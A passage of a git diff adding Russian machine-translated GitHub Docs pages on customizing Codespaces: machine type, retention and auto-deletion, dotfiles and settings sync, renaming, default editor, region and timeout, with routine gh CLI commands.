variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette) и начните вводить "перестроить". Выберите **Codespaces: перестроить контейнер**. + +![Команда для перестроения codespace](/assets/images/help/codespaces/codespaces-rebuild.png) + +### Журналы Codespaces + +Вы можете использовать {% data variables.product.prodname_vscode_command_palette_shortname %} для доступа к журналам создания codespace или экспорта всех журналов. + +Чтобы получить журналы для {% data variables.product.prodname_github_codespaces %}, [перейдите к {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), а затем начните вводить "log". Выберите **Codespaces: Export Logs (Кодовые пространства: экспорт журналов** ), чтобы экспортировать все журналы, связанные с {% data variables.product.prodname_github_codespaces %} или **Codespaces: View Creation Logs (Кодовые пространства: просмотр журналов создания** ), чтобы просмотреть журналы, связанные с установкой. + +![Команда для доступа к журналам](/assets/images/help/codespaces/codespaces-logs.png) + +## Дополнительные материалы + +- [Использование {% data variables.product.prodname_github_codespaces %} в {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)" diff --git a/translations/ru-RU/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md b/translations/ru-RU/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md new file mode 100644 index 000000000000..730aa6b67045 --- /dev/null +++ b/translations/ru-RU/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md @@ -0,0 +1,108 @@ +--- +title: Изменение типа компьютера для codespace +shortTitle: Change the machine type +intro: 'Вы можете изменить тип компьютера, на котором выполняется codespace, чтобы использовать ресурсы, соответствующие выполняемой работе.' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace +topics: + - Codespaces +type: how_to +ms.openlocfilehash: b8614e9389aa617b3bfcfa3444f5a60aa7dd3c2e +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159088' +--- +## Сведения о типах компьютеров + +{% data reusables.codespaces.codespaces-machine-types %} Можно выбрать альтернативный тип компьютера при создании codespace или в любое время после создания codespace. + +Сведения о выборе типа компьютера при создании codespace см. в разделе [Создание codespace для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). + +{% data reusables.codespaces.machine-types-for-unpublished-codespaces %} Дополнительные сведения см. в разделе [Создание codespace на основе шаблона](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template). + +## Изменение типа компьютера + +{% note %} + +**Примечание**. {% data reusables.codespaces.codespaces-machine-type-availability %} + +{% endnote %} + +{% webui %} + +{% data reusables.codespaces.your-codespaces-procedure-step %} + + Отображается текущий тип компьютера для каждого из codespace. + + ![Список "Ваши codespace"](/assets/images/help/codespaces/your-codespaces-list.png) + +{% data reusables.codespaces.ellipsis-settings %} +1. Щелкните **Изменить тип компьютера**. + + ![Пункт меню "Изменить тип компьютера"](/assets/images/help/codespaces/change-machine-type-menu-option.png) +1. Если для codespace доступно несколько типов компьютеров, выберите нужный. + + ![Диалоговое окно с доступными типами компьютеров для выбора](/assets/images/help/codespaces/change-machine-type-choice.png) +1. Щелкните **Обновить codespace**. + +{% endwebui %} + +{% vscode %} + +{% data reusables.codespaces.changing-machine-type-in-vscode %} + +{% endvscode %} + +{% cli %} + +Для изменения типа компьютера codespace можно использовать `gh codespace edit --machine MACHINE-TYPE-NAME` команду {% data variables.product.prodname_cli %}. Чтобы использовать эту команду, сначала необходимо узнать доступные типы компьютеров для codespace. + +1. Чтобы просмотреть список codespaces, в окне терминала введите следующую команду. + + ``` + gh codespace list + ``` +1. При необходимости, чтобы найти текущий тип компьютера для codespace, введите следующую команду. + + ``` + gh api /user/codespaces/CODESPACE-NAME + ``` + + Замените `CODESPACE-NAME` постоянным именем codespace, например `octocat-literate-space-parakeet-mld5`. Постоянные имена перечислены в столбце **NAME** в списке, возвращаемом .`gh codespace list` + + Если вам будет предложено запросить `codespace` область, следуйте инструкциям в терминале. + + Сведения о текущем компьютере перечислены в `machine` поле . +1. Чтобы найти доступные типы компьютеров для codespace, введите следующую команду. + + ``` + gh api /user/codespaces/CODESPACE-NAME/machines + ``` + + Замените `CODESPACE-NAME` постоянным именем codespace, например `octocat-literate-space-parakeet-mld5`. +1. Чтобы изменить тип компьютера для codespace, введите следующую команду. + + ``` + gh codespace edit --machine MACHINE-TYPE-NAME + ``` + + Замените `MACHINE-TYPE-NAME` именем доступного типа компьютера для codespace, например `standardLinux32gb`. +1. С помощью клавиш со стрелками перейдите к пространству кода, которое вы хотите изменить, и нажмите клавишу ВВОД. + +{% endcli %} + +{% data reusables.codespaces.about-changing-storage-size %} + +{% cli %} + +## Дополнительные материалы + +- "[Компьютеры Codespaces](/rest/codespaces/machines)" в документации по REST API +- [`gh codespace edit`](https://cli.github.com/manual/gh_codespace_edit) в руководстве по {% data variables.product.prodname_cli %} + +{% endcli %} diff --git a/translations/ru-RU/content/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces.md b/translations/ru-RU/content/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces.md new file mode 100644 index 000000000000..94bade3cb34b --- /dev/null +++ b/translations/ru-RU/content/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces.md @@ -0,0 +1,110 @@ +--- +title: Настройка автоматического удаления codespace +shortTitle: Configure automatic deletion +intro: "Неактивные codespace автоматически удаляются. Вы можете выбрать срок хранения остановленных codespace не более 30\_дней." +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces +type: how_to +ms.openlocfilehash: 5414d2223f490638f27475840a25883e9c353e77 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160111' +--- +По умолчанию {% data variables.product.prodname_github_codespaces %} автоматически удаляются после остановки и остаются неактивными в течение 30 дней. + +Тем не менее, так как {% data variables.product.prodname_github_codespaces %} взимает плату за хранение, вы можете сократить срок хранения, изменив период по умолчанию в личных параметрах для {% data variables.product.prodname_github_codespaces %}. Дополнительные сведения о стоимости хранения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing). + +{% note %} + +**Примечание.** Даже если вы задали период хранения codespace, рекомендуется сразу удалять codespace. Дополнительные сведения см. в разделе [Удаление codespace](/codespaces/developing-in-codespaces/deleting-a-codespace). + +{% endnote %} + +Автоматическое удаление происходит независимо от того, содержит ли codespace неотправленные изменения. Чтобы предотвратить автоматическое удаление codespace, просто снова откройте его. Период хранения сбрасывается при каждом подключении к codespace, а обратный отсчет хранения перезапускается при остановке codespace. + +Если репозиторий принадлежит организации, администратор организации может задать период хранения для всей организации. Если этот период меньше периода хранения по умолчанию, указанного в личных параметрах, к codespace в этом репозитории будет применяться период хранения, заданный для организации. Дополнительные сведения см. в разделе [Ограничение периода хранения для codespace](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces). + +Каждое codespace имеет собственный период хранения. Таким образом, у вас могут быть codespace с разными периодами аренды. Например, если: +* Вы создали codespace, изменили период хранения по умолчанию, а затем создали другое codespace. +* Вы создали codespace с помощью {% data variables.product.prodname_cli %} и указали другой период хранения. +* Вы создали codespace из репозитория, принадлежащего организации, где уже настроен период хранения. + +{% note %} + +**Примечание**. Период хранения указан в днях. День представляет собой 24-часовой период, начиная с момента остановки codespace. + +{% endnote %} + +{% webui %} + +## Настройка периода хранения по умолчанию для ваших codespace + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. В разделе "Период хранения по умолчанию" введите количество дней, в течение которых необходимо по умолчанию хранить codespace после его остановки. + + ![Выбор периода хранения](/assets/images/help/codespaces/setting-default-retention.png) + + Вы можете задать период хранения по умолчанию в днях: от `0` до `30`. + + {% warning %} + + **Предупреждение.** Если установить период `0`, codespace будут удаляться сразу после остановки или когда закончится время ожидания из-за отсутствия активности. Дополнительные сведения см. в разделе [Настройка времени ожидания для {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces). + + {% endwarning %} + +1. Выберите команду **Сохранить**. + +При создании codespace с помощью {% data variables.product.prodname_cli %} вы можете переопределить это значение по умолчанию. Если вы создаете codespace в организации, где указан более короткий период хранения, значение организации будет иметь приоритет над вашими настройками. + +Если вы задали период хранения более одного дня, вы получите уведомление по электронной почте за один день до удаления. + +## Проверка оставшегося времени до автоматического удаления + +Вы можете проверить, будет ли codespace автоматически удалено в ближайшее время. + +Если неактивное codespace приближается к концу периода хранения, это отображается в списке codespace на {% data variables.product.prodname_dotcom %} по адресу [https://github.com/codespaces](https://github.com/codespaces). + +![Сообщение о скором удалении в списке codespace на {% data variables.product.prodname_dotcom %}](/assets/images/help/codespaces/retention-deletion-message.png) + +{% endwebui %} + +{% cli %} + +## Задание периода хранения для codespace + +Чтобы задать период хранения для codespace при создании codespace, используйте флаг `--retention-period` с подкомандой `codespace create`. Укажите период в днях. Период должен находиться в диапазоне от 0 до 30 дней. + +```shell +gh codespace create --retention-period DAYS +``` + +Если вы не указываете период хранения при создании codespace, будет использоваться либо период хранения по умолчанию, либо период хранения организации, в зависимости от того, какое значение меньше. Сведения о настройке периода хранения по умолчанию см. на вкладке "Веб-браузер" на этой странице. + +{% data reusables.cli.cli-learn-more %} + +{% endcli %} + +{% vscode %} + +## Установка периода хранения + +Вы можете задать период хранения по умолчанию в веб-браузере на {% data variables.product.prodname_dotcom_the_website %}. Кроме того, если вы используете {% data variables.product.prodname_cli %} для создания codespace, можно задать период хранения для этого конкретного codespace. Дополнительные сведения см. на соответствующей вкладке. + +## Проверка того, будут ли codespace автоматически удалены в ближайшее время + +В классическом приложении {% data variables.product.prodname_vscode %} можно проверить, будет ли codespace автоматически удалено в ближайшее время. + +{% data reusables.codespaces.click-remote-explorer-icon-vscode %} +1. Выберите **{% data variables.product.prodname_github_codespaces %}** в раскрывающемся меню в правом верхнем углу удаленного обозревателя, если он еще не выбран. +1. В разделе "GITHUB CODESPACES" наведите указатель мыши на интересующее вас codespace. Появится всплывающее окно с информацией о codespace. + + Если приближается конец периода хранения codespace, вы увидите строку с сообщением о том, когда codespace будет удалено. + + ![Сведения о codespace, отображающие время до удаления](/assets/images/help/codespaces/vscode-deleting-in-5-days.png) + +{% endvscode %} diff --git a/translations/ru-RU/content/codespaces/customizing-your-codespace/index.md b/translations/ru-RU/content/codespaces/customizing-your-codespace/index.md new file mode 100644 index 000000000000..e112667e5404 --- /dev/null +++ b/translations/ru-RU/content/codespaces/customizing-your-codespace/index.md @@ -0,0 +1,26 @@ +--- +title: Настройка codespace +intro: "{% data variables.product.prodname_github_codespaces %}\_— это выделенная среда. Вы можете настроить репозитории с контейнером разработки, чтобы определить среду {% data variables.product.prodname_github_codespaces %} по умолчанию и персонализировать процесс разработки во всех codespace с помощью синхронизации параметров и файлов с точкой." +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/setting-up-your-codespace +topics: + - Codespaces +children: + - /personalizing-github-codespaces-for-your-account + - /renaming-a-codespace + - /changing-the-machine-type-for-your-codespace + - /setting-your-default-editor-for-github-codespaces + - /setting-your-default-region-for-github-codespaces + - /setting-your-timeout-period-for-github-codespaces + - /configuring-automatic-deletion-of-your-codespaces +ms.openlocfilehash: cae6a1caddb91bbc8d67657591be0c0f14af4a56 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159128' +--- + diff --git a/translations/ru-RU/content/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account.md b/translations/ru-RU/content/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account.md new file mode 100644 index 000000000000..f3dcae6d72f9 --- /dev/null +++ b/translations/ru-RU/content/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account.md @@ -0,0 +1,108 @@ +--- +title: Персонализация GitHub Codespaces для вашей учетной записи +shortTitle: Personalize your codespaces +intro: 'Вы можете персонализировать {% data variables.product.prodname_github_codespaces %} с помощью репозитория `dotfiles` для {% data variables.product.product_name %} или с помощью синхронизации параметров.' +redirect_from: + - /github/developing-online-with-github-codespaces/personalizing-github-codespaces-for-your-account + - /github/developing-online-with-codespaces/personalizing-codespaces-for-your-account + - /codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account + - /codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Set up + - Fundamentals +ms.openlocfilehash: 80b6cd1ee982150c1b3c0a66e1247f6098a97bcb +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160256' +--- +## Сведения о персонализации {% data variables.product.prodname_codespaces %} + +При использовании любой среды разработки важным шагом является настройка параметров и инструментов в соответствии с вашими предпочтениями и рабочими процессами. {% data variables.product.prodname_github_codespaces %} позволяет персонализировать codespace двумя основными способами. + +- [Синхронизация параметров](#settings-sync) . Параметры {% data variables.product.prodname_vscode %} можно синхронизировать между классическим приложением и веб-клиентом {% data variables.product.prodname_vscode_shortname %}. +- [Файлы с точкой](#dotfiles) — вы можете использовать репозиторий `dotfiles` для указания скриптов, настроек оболочки и других конфигураций. + +Персонализация {% data variables.product.prodname_github_codespaces %} применяется к любому создаваемому пространству codespace. + +Обслуживающие проект также могут определить конфигурацию по умолчанию, которая применяется к каждому пространству codespace для репозитория, созданному любым пользователем. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers). + +## Синхронизация параметров + +Синхронизация параметров позволяет синхронизировать конфигурации, такие как параметры, сочетания клавиш, фрагменты кода, расширения и состояние пользовательского интерфейса на компьютерах и экземплярах {% data variables.product.prodname_vscode_shortname %}. + +Чтобы включить синхронизацию параметров, в левом нижнем углу панели действий {% data variables.product.prodname_vscode %}выберите {% octicon "gear" aria-label="The gear icon" %} и щелкните **Включить синхронизацию параметров...**. В появившемся диалоговом окне выберите параметры, которые нужно синхронизировать. + +![Параметр синхронизации параметров в меню управления](/assets/images/help/codespaces/codespaces-manage-settings-sync.png) + +Дополнительные сведения см. в [руководстве по синхронизации параметров](https://code.visualstudio.com/docs/editor/settings-sync) в документации по {% data variables.product.prodname_vscode_shortname %}. + +## Файлы с точкой + +Файлы с точкой — это файлы и папки в системах Unix, которые начинаются с `.`. Они служат для управления конфигурациями приложений и оболочки в системе. Хранить файл с точкой и управлять им можно в репозитории на сайте {% data variables.product.prodname_dotcom %}. Рекомендации и учебники по включению в репозиторий файлов с точкой см. в статье, посвященной [файлам с точкой в GitHub](https://dotfiles.github.io/). + +Репозиторий файлов с точкой может включать псевдонимы оболочки и настройки, любые инструменты, которые требуется установить, или любую другую персонализацию пространства codespace, которую вы хотите сделать. + +Вы можете настроить {% data variables.product.prodname_github_codespaces %} для использования файлов точек из любого репозитория, которым вы владеете, выбрав этот репозиторий в [личных параметрах {% data variables.product.prodname_github_codespaces %}](https://github.com/settings/codespaces). + +При создании новой среды codespace {% data variables.product.prodname_dotcom %} клонирует выбранный репозиторий файлов с точкой в среду codespace и выполняет поиск одного из следующих файлов, чтобы настроить среду. + +* _install.sh_ +* _install_ +* _bootstrap.sh_ +* _bootstrap_ +* _script/bootstrap_ +* _setup.sh_ +* _setup_ +* _script/setup_ + +Если ни один из этих файлов не найден, для всех файлов или папок в выбранном репозитории файлов с точкой, которые начинаются с `.`, будут созданы символические ссылки на каталог `~` или `$HOME` пространства codespace. + +Любые изменения в выбранном репозитории файлов с точкой будут применяться только к каждому новому пространству codespace и не будут влиять на существующее пространство codespace. + +{% note %} + +**Примечание:** В настоящее время {% data variables.product.prodname_codespaces %} не поддерживает персонализацию параметров уровня пользователя для {% data variables.product.prodname_vscode_shortname %} в репозитории `dotfiles` . Вы можете задать параметры по умолчанию Рабочая область и Удаленная среда [Codespaces] для определенного проекта в репозитории проекта. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration). + +{% endnote %} + +### Включение репозитория файлов с точкой для{% data variables.product.prodname_codespaces %} + +Вы можете использовать выбранный репозиторий файлов точек для персонализации среды {% data variables.product.prodname_github_codespaces %}. Выбрав репозиторий файлов с точкой, вы можете добавить в него скрипты, настройки и конфигурации. Затем необходимо включить файлы точек на личной странице параметров {% data variables.product.prodname_github_codespaces %}. + +{% warning %} + +**Предупреждение.** Файлы с точкой могут выполнять произвольные скрипты, которые могут содержать непредвиденный или вредоносный код. Перед установкой репозитория файлов с точкой рекомендуется проверять скрипты, чтобы убедиться, что они не выполняют никаких непредвиденных действий. + +{% endwarning %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. В разделе "Файлы точек" выберите **Автоматическая установка файлов точек** , чтобы {% data variables.product.prodname_github_codespaces %} автоматически устанавливал файлы точек в каждое новое пространство кода, которое вы создаете. + ![Установка файлов с точкой](/assets/images/help/codespaces/install-custom-dotfiles.png) +2. Выберите репозиторий, из которого нужно установить файлы с точкой. + ![Выбор репозитория файлов с точкой](/assets/images/help/codespaces/select-dotfiles-repo.png) + +Можно добавить в репозиторий файлов с точкой дополнительные скрипты, параметры, файлы конфигурации или изменить существующие файлы при желании. Изменения параметров будут приняты только новыми пространствами codespace. + +Если в codespace не удается получить параметры конфигурации из файлов точек, см. [статью Устранение неполадок с файлами точек для {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces). + +## Другие доступные параметры + +Вы также можете персонализировать {% data variables.product.prodname_github_codespaces %} с помощью [дополнительных параметров в личных параметрах](https://github.com/settings/codespaces): + +- Сведения о включении проверки GPG см. в разделе [Управление проверкой GPG для {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces). +- Сведения о настройке редактора см. в разделе [Настройка редактора по умолчанию для {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces). +- Сведения о том, как долго codespace может оставаться неиспользуемой до автоматической остановки, см. в разделе [Настройка периода ожидания для {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces). +- Чтобы задать период хранения неиспользуемых codespace, см. статью [Настройка автоматического удаления codespace](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces). +- Сведения о настройке региона по умолчанию см. в разделе [Настройка региона по умолчанию для {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces). + +## Дополнительные материалы + +* [Создание репозитория](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository) +* "[Подробное изучение {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/deep-dive#personalizing-your-codespace-with-extensions-or-plugins)" diff --git a/translations/ru-RU/content/codespaces/customizing-your-codespace/renaming-a-codespace.md b/translations/ru-RU/content/codespaces/customizing-your-codespace/renaming-a-codespace.md new file mode 100644 index 000000000000..eb672ff8ec4a --- /dev/null +++ b/translations/ru-RU/content/codespaces/customizing-your-codespace/renaming-a-codespace.md @@ -0,0 +1,83 @@ +--- +title: Переименование codespace +intro: 'Вы можете изменить отображаемое имя codespace на одно из ваших вариантов с помощью {% data variables.product.prodname_dotcom_the_website %} или {% data variables.product.prodname_cli %}.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Fundamentals + - Developer +shortTitle: Rename a codespace +ms.openlocfilehash: dcb4558cce7ca0768524917a46cde2a49bacd1ce +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158720' +--- +## Переименование codespace + +Каждому codespace назначается автоматически созданное отображаемое имя. Если у вас несколько codespace, отображаемое имя помогает их различать. Например: `literate space parakeet`. Отображаемое имя codespace можно изменить. + +Чтобы выяснить отображаемое имя codespace, выполните следующие действия. + +- В {% data variables.product.product_name %} просмотрите список codespace по адресу https://github.com/codespaces. + + ![Снимок экрана: список codespace в GitHub](/assets/images/help/codespaces/codespaces-list-display-name.png) + +- В классическом приложении {% data variables.product.prodname_vscode %} или веб-клиенте {% data variables.product.prodname_vscode_shortname %} щелкните удаленный обозреватель. Отображаемое имя является вторым элементом в списке. Например: `symmetrical space telegram` на снимке экрана ниже. + + ![Снимок экрана: удаленный обозреватель в VS Code](/assets/images/help/codespaces/codespaces-remote-explorer.png) + +{% indented_data_reference reusables.codespaces.remote-explorer spaces=2 %} +- В окне терминала на локальном компьютере используйте следующую команду {% data variables.product.prodname_cli %} command: `gh codespace list`. + +### Постоянные имена codespace + +Помимо отображаемого имени при создании codespace ему также назначается постоянное имя. Имя представляет собой сочетание дескриптора {% data variables.product.company_short %} и автоматически созданного отображаемого имени. Например: `octocat-literate-space-parakeet-mld5`. Вы не можете изменить постоянное имя. + +Чтобы выяснить постоянное имя codespace, выполните следующие действия. + +* В {% data variables.product.product_name %} постоянное имя отображается во всплывающем окне при наведении указателя мыши на отображаемое имя codespace в https://github.com/codespaces. + + ![Снимок экрана: имя codespace, отображаемое при наведении указателя мыши](/assets/images/help/codespaces/find-codespace-name-github.png) + +* В codespace используйте следующую команду в терминале: `echo $CODESPACE_NAME`. +* В окне терминала на локальном компьютере используйте следующую команду {% data variables.product.prodname_cli %} command: `gh codespace list`. + +## Переименование codespace + +Изменение отображаемого имени codespace может оказаться полезным при наличии нескольких codespace, которые будут использоваться в течение длительного периода. Соответствующее имя помогает определить codespace, используемое для определенной цели. + +{% cli %} + +Отображаемое имя codespace можно изменить с помощью {% data variables.product.prodname_cli %}. + +Чтобы переименовать codespace, используйте подкоманду `gh codespace edit`. + +```shell +gh codespace edit -c PERMANENT-CODESPACE-NAME -d NEW-DISPLAY-NAME +``` + +В этом примере замените `PERMANENT-CODESPACE-NAME` постоянным именем codespace, отображаемое имя которого требуется изменить. Замените `NEW-DISPLAY-NAME` отображаемым именем, которое вы хотите использовать для этого codespace. + +Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_github_codespaces %} с {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli#rename-a-codespace). + +{% endcli %} + +{% webui %} + +Вы можете изменить отображаемое имя для codespace в {% data variables.product.prodname_dotcom_the_website %}. + +{% data reusables.codespaces.your-codespaces-procedure-step %} + + The current display name for each of your codespaces is displayed. + +{% data reusables.codespaces.ellipsis-settings %} +1. Выберите **Переименовать**. + +1. В командной строке в разделе "Изменить отображаемое имя на..." Введите нужное отображаемое имя и нажмите кнопку **ОК**. + +{% endwebui %} diff --git a/translations/ru-RU/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces.md b/translations/ru-RU/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces.md new file mode 100644 index 000000000000..173d880b6b11 --- /dev/null +++ b/translations/ru-RU/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces.md @@ -0,0 +1,54 @@ +--- +title: Настройка редактора по умолчанию для GitHub Codespaces +shortTitle: Set the default editor +intro: '{% data reusables.codespaces.about-changing-default-editor %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces + - /codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces +topics: + - Codespaces +type: how_to +ms.openlocfilehash: 5c286ffe8f96d275dc0b20949a87b7ced411c9af +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159933' +--- +На странице параметров можно задать параметры редактора таким образом, чтобы при создании codespace или открытии существующего codespace оно открывалось по вашему выбору: +* {% data variables.product.prodname_vscode %} (классическое приложение) +* {% data variables.product.prodname_vscode %} (веб-клиентское приложение) +* Шлюз JetBrains — для открытия codespace в интегрированной среде разработки JetBrains. +* JupyterLab — веб-интерфейс для Project Jupyter + +{% data reusables.codespaces.template-codespaces-default-editor %} + +Если вы хотите использовать {% data variables.product.prodname_vscode %} в качестве редактора по умолчанию для {% data variables.product.prodname_github_codespaces %}, необходимо установить {% data variables.product.prodname_vscode %} и расширение {% data variables.product.prodname_github_codespaces %} для {% data variables.product.prodname_vscode %}. Дополнительные сведения см. на [странице скачивания для {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download/) и [странице расширения{% data variables.product.prodname_github_codespaces %} в {% data variables.product.prodname_vscode %} Marketplace](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces). + +Если вы хотите работать с codespace в интегрированной среде разработки JetBrains, необходимо установить шлюз JetBrains. Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_github_codespaces %} в интегрированной среде разработки JetBrains](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide). + +## Настройка редактора по умолчанию + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. В разделе "Параметры редактора" выберите нужный вариант. + + ![Настройка редактора](/assets/images/help/codespaces/select-default-editor.png) + + * {% data reusables.codespaces.application-installed-locally %}

+ + * Если выбрать **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_github_codespaces %} автоматически откроется в классическом приложении при следующем создании или открытии codespace. + + Возможно, вам потребуется разрешить доступ к браузеру и {% data variables.product.prodname_vscode %} для успешного открытия.

+ + * Если выбрать **Шлюз JetBrains**, приложение шлюза автоматически откроется при следующем создании или открытии codespace. + + При первом открытии codespace таким образом необходимо предоставить разрешение на открытие приложения. + + Откроется приложение шлюза, а пространство codespace будет выбрано автоматически. Затем можно выбрать интегрированную среду разработки JetBrains, если это еще не сделано, и нажать кнопку **Подключиться** , чтобы открыть пространство кода в клиенте JetBrains. Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_github_codespaces %} в интегрированной среде разработки JetBrains](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide). + + Чтобы подключиться к codespace из приложения шлюза, необходимо иметь сервер SSH, работающий в codespace. {% indented_data_reference reusables.codespaces.ssh-server-installed spaces=5 %} + + * Если выбрать **JupyterLab**, приложение JupyterLab должно быть установлено в открытых пространствах кода. {% data reusables.codespaces.jupyterlab-in-default-image %} diff --git a/translations/ru-RU/content/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces.md b/translations/ru-RU/content/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces.md new file mode 100644 index 000000000000..9fb3550dc3d2 --- /dev/null +++ b/translations/ru-RU/content/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces.md @@ -0,0 +1,28 @@ +--- +title: Настройка региона по умолчанию для GitHub Codespaces +shortTitle: Set the default region +intro: 'Вы можете задать регион по умолчанию на странице параметров профиля {% data variables.product.prodname_github_codespaces %} для настройки хранения данных.' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces + - /codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces +topics: + - Codespaces +type: how_to +ms.openlocfilehash: 4450c284d9012060267c2207c2a774a342669caa +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160005' +--- +Можно вручную выбрать регион, в который будут создаваться codespace, что позволяет соответствовать строгим требованиям к безопасности и соответствию. По умолчанию регион задается автоматически в зависимости от местоположения. + +## Настройка региона по умолчанию + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. В разделе "Регион" выберите нужный параметр. +2. Если вы выбрали "Задать вручную", выберите регион в раскрывающемся списке. + ![Выбор региона](/assets/images/help/codespaces/select-default-region.png) diff --git a/translations/ru-RU/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces.md b/translations/ru-RU/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces.md new file mode 100644 index 000000000000..f4a1140ec245 --- /dev/null +++ b/translations/ru-RU/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces.md @@ -0,0 +1,66 @@ +--- +title: Настройка периода ожидания для GitHub Codespaces +shortTitle: Set the timeout +intro: 'Вы можете задать время ожидания по умолчанию для {% data variables.product.prodname_github_codespaces %} на странице личных параметров.' +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces +type: how_to +redirect_from: + - /codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces +ms.openlocfilehash: 6ca559fefddc34eb6de0441d17344ff8054db509 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159930' +--- +## Сведения об истечении времени ожидания простоя + +Пространство кода перестанет работать после некоторого периода бездействия. По умолчанию этот период составляет 30 минут, но вы можете указать более длительный или короткий период времени ожидания по умолчанию в личных параметрах {% data variables.product.prodname_dotcom %}. Обновленный параметр будет применяться ко всем новым пространствам кода, которые вы создаете, или к существующим codespace при следующем запуске. Вы также можете указать время ожидания при использовании {% data 